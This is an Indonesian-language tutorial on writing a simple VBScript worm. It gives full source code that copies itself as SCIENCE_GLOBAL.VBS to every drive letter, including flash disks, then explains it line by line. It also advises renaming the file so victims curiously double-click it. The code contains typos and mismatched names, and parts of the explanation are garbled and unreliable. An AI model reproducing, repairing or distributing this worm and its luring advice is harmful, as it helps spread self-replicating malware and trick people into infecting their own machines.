Pembuatan Virus Worm Sederhana

Pembuatan virus worm ini akan menyebar pada drive yang terpetakan oleh computer korban. Dalam pembuatan worm ini hal pertama yang kita lakukan adalah membuat daftar atau pengulangan drive yang akan di infeksi. Pengulangan ini berguna jika ada flashdisk yang dihubungkan ke computer tersebut. Maka worm akan memeriksa keberadaan virus di dalam flashdisk tersebut, dan jika tidak ada, worm akan membuat salinan dirinya kedalam flashdisk tersebut.

Cara untuk mendapatkan drivenya dengan menggunakan nilai ASCII dari masing – masing drive yang digunakan, kemudian nilainya ditambahkan dengan satu dan sekaligus mengecek keberadaan virus pada drive dan jika tidak ada, maka infeksi akan dilakukan.

Langkah² yang kita lakukan dalam membuat virus sebagai berikut :

1. Bukalah jendela program notepad ( notepad ++ jika ingin mudah ) kemudian tulislah sintak worm berikut ini :

on error resume text
set
fso=CreateObject (“Scripting.FileSystemObject”)
setworm=fso.OpenTextFile (Wscript.ScriptFullName)
wormku=worm.ReadAll
do
if second (now)=7 then
for r = 65 to 90
drife=chr (r) &”:\”
if fso.FileExists (drife & “SCIENCE_GLOBAL.VBS”)=false then
set infect=fso.CreateTextFile (drive & “SCIENCE_GLOBAL.VBS”)
infect.write wormku
infect.close
else
end if
next
end if
loop

simpanlah file tersebut dengan nama datafile.vbs, sebenarnya nama file ini bisa anda ganti agar setiap user yang membuka menjadi penasaran dan membuka file worm ini dengan mengklik ganda.

Arti dari kode worm diatas adalah :

on error resume text
set
fso=CreateObject (“Scripting.FileSystemObject”)
Berarti : mendefenisikan variable fso sebagai CreateObject atau membuat file script VBS. Perintah ini harus selalu ada dalam worm yang dibuat dengan menggunakan VBS.

setworm=fso.OpenTextFile (Wscript.ScriptFullName)
Berarti :mendefenisikan variable worm untuk membuka worm.


wormku=worm.ReadAll
Berarti : membaca isi semua dari file tersebut.

do
berarti : perulangan

if second (now)=7 then
Berarti :jika detik sekarang adalah tujuh.

for r = 65 to 90
Berarti : Variabel r diisi dengan nilai ASCII dari karakter A – Z.

drife=chr (r) &”:\”
Berarti : Drive sama dengan nilai karakter Code dari 65 sampai dengan 90

if fso.FileExists (drife & “SCIENCE_GLOBAL.VBS”)=false then
Berarti : Jika file DIAN SASTRO.vbs di drive tidak ada maka

set infect=fso.CreateTextFile (drive & “SCIENCE_GLOBAL.VBS”)
Berarti :membuat file nya.

infect.write wormku
Berarti :menginfeksi virus

infect.close
Berarti : menutup filenya

else
Berarti : Jika ada yang lain

end if
Berarti : tidak perlu melakukan aktifitas apapun.

next
Berarti : Drive selanjutnya.

end if
Berarti : Akhir dari if

loop
Berarti : perulangan

JIka worm tersebut diaktifkan dengan mengklik ganda, maka setiap detik menunjukkan angka 07 virus akan membuat file SCIENCE_GLOBAL.vbs disetiap drive yang ada. Proses penggandaan ini akan dilakukan terus menerus selama detik dalam jam system menunjuk angka 07.
Jika anda ingin melihat hasilnya, anda bisa mengecek dengan mengklik ganda file SCIENCE_GLOBAL.vbs. Aktifkan juga jam system widows, perhatikan apa yang terjadi di drive-crive computer anda setelah jam system menunjuk detik ke 07. Bahkan jika ternyata terdapat flash disk yang aktif (terpasang), maka flashdisk pun akan terinfeksi file c. Selama worm ini aktif, maka meskipun file SCIENCE_GLOBAL.vbs dihapus, setiap kali jam system menunjukkan detik ke 07 maka worm ini akan menggandakan dirinya lagi. Atau meskipun anda sudah menghapus file datafile.vbs proses infeksi masih terus dilakukan. Untuk mengatasi masalah ini dilakukan dengan menghentikan wscript melalui jendela Task Manager.